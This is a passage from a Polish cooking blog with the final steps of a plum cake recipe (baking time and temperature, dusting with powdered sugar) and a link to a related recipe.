słodkie, to każdą połówkę posypać odrobiną cukru trzcinowego.</li><li>Ciasto ze śliwkami piec w piekarniku nagrzanym góra-dół do 180 stopni C przez 40 - 50 minut, do tzw. suchego patyczka. Czas pieczenia ciasta zależy od indywidualnych właściwości piekarnika i rodzaju formy do pieczenia.</li><li>Ciasto po wystudzeniu, można delikatnie oprószyć cukrem pudrem.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2022/10/szybkie-ciasto-ze-sliwkami.html" target="_blank">szybkie ciasto ze śliwkami</a>.</li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com2